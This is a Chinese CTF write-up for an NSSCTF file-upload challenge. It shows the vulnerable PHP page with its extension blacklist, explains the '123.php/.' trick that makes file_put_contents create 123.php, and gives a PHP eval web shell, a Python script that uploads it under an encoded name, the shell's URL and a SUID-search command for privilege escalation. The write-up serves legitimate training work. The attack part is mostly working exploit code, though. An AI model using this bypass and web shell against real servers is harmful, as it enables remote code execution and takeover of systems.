Nssctf刷题笔记#

1
<?php
2

3
function blacklist($file){
4
    $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini");
5
    $ext = pathinfo($file, PATHINFO_EXTENSION);
6
    foreach ($deny_ext as $value) {
7
        if (stristr($ext, $value)){
8
            return false;
9
        }
10
    }
11
    return true;
12
}
13

14
if(isset($_FILES['file'])){
15
    $filename = urldecode($_FILES['file']['name']);
16
    $filecontent = file_get_contents($_FILES['file']['tmp_name']);
17
    if(blacklist($filename)){
18
        file_put_contents($filename, $filecontent);
19
        echo "Success!!!";
20
    } else {
21
        echo "Hacker!!!";
22
    }
23
} else{
24
    highlight_file(__FILE__);
25
}

1
当上传123.php/.的时候，file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件，最终上传创建的是123.php

1
<?php eval($_POST[0]);phpinfo();?>

1
import requests
2

3
url = "http://node6.anna.nssctf.cn:23009/"  # 目标URL
4
file = {
5
    "file": ("123.php%2f.", open('1.php', 'rb'))  # 文件名和打开的文件
6
}
7
try:
8
    res = requests.post(url=url, files=file)  # 发送POST请求
9
    print(res.text)  # 打印服务器响应
10
except Exception as e:
11
    print("发生错误:", e)

1
http://node6.anna.nssctf.cn:23009/123.php

1
权限 0740 表示文件所有者可以读、写和执行该文件，所属组用户只能读取该文件，而其他用户没有任何权限。

1
find / -perm -u=s -type f 2>/dev/null
2

3
/usr/local/s3cRetTt